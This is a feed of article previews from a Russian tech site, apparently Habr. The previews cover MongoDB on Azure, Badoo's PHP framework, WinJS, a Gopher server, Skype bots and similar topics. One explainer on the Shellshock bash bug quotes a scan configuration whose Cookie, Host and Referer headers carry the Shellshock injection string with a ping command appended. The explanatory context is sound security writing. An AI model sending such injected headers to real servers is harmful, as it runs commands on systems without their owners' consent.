Search
Write a publication
Pull to refresh
0
0
Send message

Используем MongoDB в облачном бэкенде мобильных приложений

Reading time13 min
Views8.1K


Одним из преимуществ .NET бэкенда мобильных сервисов в Azure является наличие встроенной поддержки не только SQL Database (SQL Azure), но и других хранилищ данных.

При использовании node.js вы можете отказаться от работы с SQL и использовать другие возможные хранилища (например, как это написано в статье Криса Райзнера об Azure Table Storage), но эта функциональность не является встроенной, поэтому придется написать некоторое количество кода самостоятельно.

При использовании .NET большая часть функций для работы с хранилищами, отличными от SQL, уже интегрирована, поэтому нет необходимости создавать «фиктивные» таблицы, как в node.js, только для возможности отправлять запросы к данным.

В этой статье я расскажу о поддержке MongoDB и о том, как можно создавать таблицы, CRUD-операции с которыми будут осуществляться напрямую с коллекцией MongoDB.
Читать дальше →

Проверьте своего хостера на уязвимость Shellshock

Reading time2 min
Views33K
В связи «открытием» повсеместно обсуждаемой в последнее время Shellshock-уязвимости (например, здесь и здесь), а также преследуя благую цель устранения возможных неприятных последствий использования этой уязвимости, сервис мониторинга сайтов ХостТрекер предоставляет возможность мгновенно определить наличие этой самой уязвимости на линуксовых серверах и установленным веб-сервером (проверка результата происходит через http).

image

Читать дальше →

Баг или фича fieldset?

Reading time3 min
Views18K
Знаете ли Вы, уважаемые читатели, про такой замечательный и, я бы сказал, прикольный тег fieldset? Думаю, конечно знаете! А часто ли Вы им пользуетесь? Думаю очень редко. Ну ладно, ладно, уговорили — именно вы, уважаемый, достаточно часто его используете, а вот верстальщик Вася из соседней фирмы — точно редко, а может и всего один раз его «пробовал на вкус», когда узнал про него. Ну да ладно, не об этом речь. Если Вы часто его использовали, то возможно натыкались на необычное поведение fieldset, а именно игнорирование width, если вложенный элемент шире и ни какие overflow делу не помогают. Сразу приведу пример. Этот и последующие примеры смотреть в актуальных версиях FF (32) и Хром (35); IE11, как ни странно, показал себя с лучшей стороны и отработал правильно; остальные браузеры не проверял.

Внимание! В статье все примеры упрощены до максимума — до одного вложенного элемента!
Читать дальше →

PHP-фреймворк Badoo

Reading time10 min
Views29K
Код нашего сайта повидал уже не одну версию PHP. Он неоднократно дополнялся, переписывался, модифицировался, рефакторился — в общем, жил и развивался своей жизнью. В это время в мире появлялись и исчезали новые best practice, подходы, фреймворки и тому подобные явления, облегчающие жизнь разработчику и готовые решить все основные проблемы, возникающие в процессе создания веб-сайтов.
В этой статье мы расскажем о нашем пути: как был организован код изначально, какие возникали проблемы и как появился текущий фреймворк.

Что было


Проект начали делать еще в 2005 году. Тогда никаких жестких правил по написанию кода и четко структурированного фреймворка не было. Код писали несколько разработчиков, они легко в нем ориентировались и его поддерживали, каждый привносил что-то свое. В то время известные сейчас фреймворки только создавались, поэтому примеров для подражания было мало. Так что можно сказать, что наш фреймворк образовался стихийно.

С архитектурной точки зрения это выглядело так: были объекты страниц, наследуемые от целой иерархии базовых классов, отвечающих за инициализацию окружения, сессии, пользователя и т.п. Каждая страница сама решала, когда, как и что ей выводить, делать редирект и т.п. В иерархии базовых классов было собрано много вспомогательных функций для инициализации и генерации стандартных блоков страниц, проверки пользователей, показа промежуточных промо-страниц и т.п. Со временем большинство из них было переопределено наследниками до неузнаваемости, что в разы усложнило и понимание того, как работает сайт, и саму поддержку кода.
Читать дальше →

Знакомимся с элементами управления библиотеки WinJS

Reading time5 min
Views15K


Всем привет!

Сегодня мы с вами будем говорить об элементах управления библиотеки WinJS, об основных вещах, которые нужно знать при создании приложений с ее помощью.
Читать дальше →

Создание приложений OS X с помощью JavaScript

Reading time13 min
Views21K
Недавно в OS X Yosemite была представлена возможность использования JavaScript для автоматизации. Это открывает возможность получать доступ к нативным* фреймворкам OS X из JavaScript. Я тут покопался в этом новом мире и собрал несколько примеров. В этом посте я объясню основы и шаг за шагом покажу процесс создания небольшого приложения
Читать дальше →

Ускорение загрузки Windows for fun and profit

Reading time4 min
Views811K
image Пожалуй, начну с того, что если перегружаться 15 раз в год, то любой «тюнинг» процесса загрузки отнимает больше времени, чем будет выиграно на перезагрузках за все время жизни системы. Однако, спортивный интерес берет свое, тем более, что люди интересуется процессом оптимизации быстродействия. А загрузка оказалась самым очевидным кандидатом в примеры того, как на мой взгляд должен выглядеть этот самый процесс. Сразу скажу, что грузиться будем с 5400 rpm винта, грузиться будем в «рабочую» систему: помимо недобитой вендорской крапвари там стоит еще куча всякого типа вижуал студии, антивируса, скайпа, стима, гуглапдейтера и пр…

Про то, почему отключение pagefile-а скорее вредно, чем полезно — как нибудь в другой раз, а пока…
Под катом много однообразных картинок и немножко унылого текста

Когда программисту нечем заняться, он пишет Gopher-сервер

Reading time4 min
Views13K
Надеюсь, автор предыдущего археологического поста не выпустил на Хабр джинна Недели Gopher'а. Я тоже этого не хочу делать, но раз уж тема была поднята, то осмелюсь взять часть греха на свою душу.

Примером имплементации Gopher-сервера в 140 строк на JS.

Немного предыстории. Некоторое время назад мне действительно было совершенно нечем заняться и в рамках подготовки внутрикорпоративного семинара по Node.js я решил немножко поразмять мозг имплементацией какого-нибудь древнего, забытого всеми во имя добра, протокола, на такой ультрасовременной и трендовой штуке, как Нода. Изначальный мой выбор пал было на IRC, но прочитав все RFC и поглядев на парочку имплементаций на сях, что-то я закручинился. До семинара оставалась всего неделя, и написать за это время сколько-нибудь работающий IRC-сервер мне показалось не то чтобы нереальным, но явно проблематичным.

Единственным, пожалуй, в текущем историческом контексте достоинством Gopher'а является его поразительная простота. Смотрите, RFC1436 — просто коротюнечка по меркам IETF. Статья в Википедии — ещё короче. И этого вполне достаточно.
Читать дальше →

HTML-минимизация в Web Essentials 2013: Что изменилось за год?

Reading time5 min
Views7.6K
Логотипы Web Essentials и WebMarkupMin
С момента публикации предыдущей статьи прошел почти год и приведенный в ней пример минимизации HTML-фрагмента уже неактуален (команда Web Essentials > Minify selection больше недоступна в контекстном меню при редактировании HTML-файлов). Серьезные изменения в данном функционале произошли еще в декабре прошлого года, когда вышла версия 1.5, но в тот момент у меня не было времени, чтобы написать об этом статью. Поскольку за это время никто не описывал данный функционал на русском языке (на английском языке есть статья Дэвида Пакетта «Minifying your HTML»), то я постараюсь наверстать упущенное.
Читать дальше →

Уязвимость в Akeeba Backup и Joomla!

Reading time2 min
Views7.5K

Описание


Уязвимость позволяет удалённому злоумышленнику извлечь архив, хранящийся где-то удалённо, на атакуемый сайт во время распаковки резервной копии или установки обновлений, в зависимости от настроек. Само наличие уязвимости не позволяет её использовать. Злоумышленник должен атаковать именно в то время когда извлекается архив резервных копий или устанавливается пакет обновления Joomla!

Версии программного обеспечения, подверженные уязвимости


  • Akeeba Backup for Joomla! Professional, версии 3.0.0 и выше, включая 4.0.2
  • Akeeba Backup Professional for WordPress, 1.0.b1 и выше, включая 1.1.3
  • Akeeba Solo, 1.0.b1 и выше, включая 1.1.2
  • Admin Tools Core and Professional, version 2.0.0 и выше, включая 2.4.4. Более поздние версии не подвержены, так как не включают в себя Joomla! update.
  • Akeeba CMS Update, version 1.0.a1 и выше, включая 1.0.1
  • Joomla! 2.5, 3.0, 3.1, 3.2, 3.3 и выше, включая 3.3.4

Читать дальше →

Lumia SensorCore SDK: новые возможности для разработки мобильных приложений. Часть 1: Обзор

Reading time7 min
Views12K


Доброго дня всем,

Сегодня мы поговорим о Lumia SensorCore SDK, который предоставляет разработчикам коллекцию инструментов для сбора и обработки информации датчиков движения и местоположения. Эти данные, полезны в первую очередь при разработке фитнес — приложений и приложений, где необходимо обрабатывать информацию о местоположении пользователя.

Основным преимуществом этого SDK является возможность работы в фоновом режиме, что оптимизирует процесс энергопотребления.
Читать дальше →

К глобальной куче без пробок. Исследуем менеджеры памяти

Reading time3 min
Views15K
Как-то, анализируя дефект в разрабатываемом продукте, я наткнулся на архитектурную особенность менеджера памяти, который мы использовали. Дефект приводил к увеличению времени создания некоторых объектов. Особенность архитектуры заключалась в использовании паттерна Singleton при работе с менеджером памяти (далее X allocator). Схематично это выглядит так:

image
Рисунок 1 – Структурная схема работы X allocator

Из схемы видно, что доступ к глобальной куче защищен мьютексом. Такая архитектура, при интенсивном создании однотипных объектов из нескольких потоков, может привести к тому, что потоки будут вставать в очередь на этом мьютексе. А ведь одна из главных особенностей продукта – это возможность его масштабирования за счет увеличения количества потоков обработки (потоков выполняющих одинаковые действия). Поэтому такой подход потенциально может стать узким местом.
Читать дальше →

XNA 3D: введение в custom shader и чуть-чуть прототипа

Reading time11 min
Views30K


Привет, Хабрахабр! К сожалению, очень давно не писал на хабр. Личные дела совершенно были против того, чтобы сесть и написать пару статей по геймдеву. Может оно и к лучшему, за эти два года я набрался очень много опыта и всегда рад им поделиться. Стоит отметить, что я совершенно отказался от создания 2D игр: я не против их, но разрабатывать игры в 3D куда интереснее и веселее! По традиции — в качестве инструмента будет XNA 4.0, почему XNA 4.0 дорогой слушатель? А все потому, что, он до сих пор остается актуальной для инди-разработчиков. У нас есть язык с очень низким вхождением — C#. Есть тот самый фреймворк XNA с необходимыми начальными классами/структурами и алгоритмами. И есть DirectX с поддержкой шейдеров, вплоть до Shader Model 3.0. Если ты, %username%, читаешь меня впервые, то можешь прочитать заодно и мои статьи датированными 2012 годом. Не сказать, что они актуальны на все 100%, что в них нет ошибок, но определенную базу они могут дать. Как, наверное, понятно — я буду писать только о 3D: со списком тем я определился не до конца, но думаю, что сформирую их довольно быстро.

Пока точно задумал две статьи:
  • “XNA 3D: введение в custom shader и чуть-чуть прототипа”
  • “XNA 3D: HDR vs LDR, реализация HDR"


Сейчас сделаю введение в custom shader и реализуем простой прототип игры FEZ.
Читать дальше →

Пишем Skype бота на C# с модульной архитектурой

Reading time10 min
Views73K
imagealert('Привет Хабр!');

Давно уже засела мысль сделать эдакую тулзу-помощника, которая смогла бы мне и курсы валют вывести и погоду подсказать и анекдот затравить, да всё руки не доходили… ну вы же знаете как это бывает, верно? Кроме того, в моём бесконечном списке с забавными идеями, которые неплохо бы когда-нибудь реализовать — был пункт «бот для скайпа 4fun».

Руки дошли. Речь пойдёт о написании простого модульного бота на C# с интеграцией в Skype. Что получилось в итоге, а также почему стоит выключать системник от сети перед тем как в него лезть отвёрткой — читайте под катом.
Читать дальше →

Всё, что вы хотели знать об уязвимости Shellshock (но боялись спросить)

Reading time9 min
Views135K
Помните Heartbleed? Shellshock можно отнести к той же «весовой категории», с таким же стильным названием, хоть и без классного логотипа (кому-то из департамента маркетинга этой уязвимости надо бы этим заняться). Но у Shellshock есть потенциал стать не менее важной птицей, чем Heartbleed. И сейчас я хотел бы собрать воедино всю необходимую информацию, которая поможет всем желающим справиться с ситуацией и избежать возможных проблем из-за неочевидной, на первый взгляд, угрозы.

Для начала позвольте поделиться с вами некоторой информацией из блога Роберта Грэма, который провёл превосходный анализ уязвимости. Рассмотрим представленный ниже HTTP-запрос:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Если его применить к диапазону уязвимых IP, то получим такой результат:



Проще говоря, Роберт заставил кучу удалённых машин пинговать его, просто отправив в сеть специально сформированный запрос. Беспокойство вызывает тот факт, что он заставил эти машины выполнить произвольную команду (в данном случае безобидный ping), что открывает широчайшие возможности.
Читать дальше →

Роскомнадзор уведомил Facebook, Gmail и Twitter о необходимости регистрации в России в качестве «организаторов распространения информации»

Reading time2 min
Views27K


Совсем недавно Хабр попал в реестр организаторов хранения информации, после этого в воздухе возникла интрига — «Кто же следующий?»

И вот — следующая порция: Facebook, GMAIL, Twitter.
Судя по всему, закончились популярные сервисы в РФ, решили перейти на западные.
Читать дальше →

Arr.js: события для стандартного массива

Reading time3 min
Views12K
Arr.js — это «класс», унаследованный от стандартного Array. Отличительными особенностями являются: наличие события change для отслеживания любых изменений в массиве, и методы insert(), update(), remove(), set(), get() для упрощенной работы с массивом. Доступны все «родные» методы стандартного Array.

var fruits = new Arr('apple', 'orange', 'pineapple');

fruits.on('change', function(event) {
  alert('I changed fruits: ' + fruits.join(', '));
});

fruits.push('banana');

Читать дальше →

Google заполонит Индию дешевыми андроидами, нововведение в AppStore и целесообразность выпуска приложений на Windows Phone — главные мобильные новости за неделю

Reading time3 min
Views2.2K


Google заполонит Индию дешевыми андроидофонами


Ранее мы рассказывали вам, как аппараты на AOSP (Android open source project) заняли долю в 20% среди Android-телефонов благодаря сверхдешевым китайским брендам.Теперь стали известны подробности касательно Android One и его запуска в Индии.

Итак, что же предлагает Google для потенциальной аудитории? Анонсированы телефоны трех ведущих производителей электроники в Индии — Micromax, Karbonn, Spice, стоимость телефонов в районе 105 USD. Пользователи получат аппарат на чипе MediaTek (какой именно пока не сказано), поддержку двух сим-карт, расширяемую память, встроенное FM-радио и заменяемую батарею. Помимо этого, все девайсы в числе самых первых получат обновленную систему — Android L, а также пользователи сотового оператора Airtel смогут бесплатно в течение полугода обновлять прошивку своего телефона и получат 200 Мб бесплатного трафика для скачивания приложений в Google Play. Как говорит сам Google, это только начало пути Android One, скоро к программе подключатся такие производители телефонов, как Acer, Alcatel Onetouch, ASUS, HTC, Intex, Lava, Lenovo, Panasonic, Xolo, и производитель чипов Qualcomm, а также в ближайшее время рассчитывает расширить программу на Индонезию, Филиппины и страны Южной Азии.

Похоже, Google очень серьёзно подошёл к делу укрепления своих позиций на рынке дешевых смартфонов, осталось немного подождать и посмотреть результат этих усилий, возможно, стоит ожидать от китайских брендов еще более сильной конкуренции в ценовой политике аппаратов на AOSP, поживём увидим.
А пока можно посмотреть ролик анонса Android One, где Google очень точно передаёт, на кого в первую очередь нацелена программа:


Читать дальше →

Расширяемые отображения любых типов значений без использования макросов

Reading time5 min
Views6.9K
Часто приходится сталкиваться в такими моментами, как отображение перечисления в строку и обратно, либо в фиксированное значения для дальнейшей сериализации. Здесь приводиться способ однозначного статического отображения значения типа A в значение типа B и обратно. Я попытался наделить метод небольшой гибкостью, позволяющей легко расширять варианты отображений.
Читать дальше →

Information

Rating
Does not participate
Date of birth
Registered
Activity